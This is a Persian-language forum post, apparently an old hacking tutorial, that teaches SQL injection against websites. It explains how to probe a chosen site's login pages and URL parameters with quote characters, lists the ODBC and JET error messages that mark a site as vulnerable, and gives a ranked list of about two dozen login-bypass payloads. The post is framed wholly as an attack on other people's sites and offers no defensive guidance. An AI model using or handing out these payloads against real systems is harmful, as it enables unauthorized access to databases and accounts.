dell
شروع فعاليت
پست: 31
عضو شده در: 9 شهریور 1384
امتياز: 292
|
عنوان: آموزش SQL Injection |
|
|
Injection یا همون تزریق دستورات SQL که به نفوذگر امکان دسترسی به بانک اطلاعاتی را می دهد .
چون این حملات روی پورت 80 صورت می گیرد نباید نگران فایروال باشید .
اولین قدم برای حمله این است که بفهمیم سایت مورد نظرمان آسیب پذیر هست یا نه ؟
Login page
Search Page
FeedBack
HTML pages use POST command to send parameters to another ASP page
به طور کلی هر صفحه ای که اجازه ی چک کردن اطلاعات رو بده .
اما همیشه نیاز به چک کردن اطلاعات نیست و کارمون با صفحه های (.jsp.cgi.php.asp) حل می شه که از آدرس زیر می شه استفاده کرد که به جای Site اسم سایت مورد نظر خودمون رو می نویسیم .
http://site.com/index.asp?id=516
برای بررسی آسیب پذیری سایت راه های گوناگون وجود داره که متناسب با نوع سایت می باشد . استفاده از پارامتر های ویژه مانند : ‘ ; , “ % - * می باشد مانند زیر :
در صفحه ی ورود یا پسورد یا آدرسهایی مپل آن می توان به صورت زیر عمل کرد :
Login : user’
Pass : pass’
http://site.com/index.asp?id=’hack
شاید مجبور بشویم که تغییراتی در مکان پارامتر ها بدهیم که این مربوط می شه به خودتون .
اگر هم با این پارامتر ها جواب ندهد مجبور می شویم از ترکیبی از پارامترهای بالا استفاده کنیم که در طول آموزش توضیح خواهم داد .
اگر بعد از وارد کردن پارامترهای ویژه با یکی از پیغام های زیر مواجه شدیم سایت آسیب پذیر است :
1.The page cannot be Displayed
2.There is a problem with the page you are trying to reach and it cannot be displayed.
3.ALL ODBC error messages
4.Microsoft OLE DB provider for ODBC drivers error ….
5.microsoft OLE DB provider for ODBC drivers error ‘80040e14’
6.Microsoft JET Database Engine error ‘80040e14’
چگونگی استفاده از این پیغام ها را توضیح خواهم داد .
خوب حالا چگونگی استفاده از Login page ها رو توضیح می دم .
ما به یه Login page برخوردیم و هدف ما تنها عبور از این صفحه است .
فرض می کنیم با استفاده از مطلب جلسه ی قبل به پیغام مورد نظر برخوردیم . با استفاده از ترکیبی از پارامتر های ویژه و جایگزینی آنها در فیلد های یوزر و پسورد و یا هر دو روش سعی کردیم و با خطا به راحتی با دور زدن Login page به صفخات مورد نظر می رسیم اما اون پارامتر های ویژه ی ترکیبی چی هست ؟
به ترتیب اهمیت و اولویت شامل زیر می باشد :
‘ or ‘ ‘=’
‘ or ‘a’=’a
‘or’a’=’a
admin’—
admin’ or 1=1 –
‘ or 1=1
‘ or 0=0 –
admin” or “a”=”a
admin” or 1=1 –
admin’ or ‘a’=’a
admin’) or (‘a’=’a
or 0=0 –
‘ or 0=0 #
hi’ or 1=1 –
hi” or 1=1 –
hi” or “a”=”a
“) or (“a”=”a
‘) or (‘a’=’a
“ or “a”=”a
hi”) or (“a”=”a
hi’) or (‘a’=’a
“ or 0=0 #
“ or 1=1—
‘) or (‘x’=’x
تمامی این پارامتر ها تر کیبی کاملا تجربی است و بسته به اینکه شما با کدام یک از پارامترها ی ویژه به پیغام مورد نظر می رسید می تواند متفاوت باشد .
• توجه داشته باشید که گاهی این پارامترها ی ترکیبی باید تنها در لاگین و یا پسورد یا در هر دو به کار رود .
• با این روش می شود سرورهایی که تا 40% مشکل دارند رو دور زد .
در مطالب بعدی روشهای کاملتری رو توضیح خواهم داد
در ضمن منبع یادم نیست |
|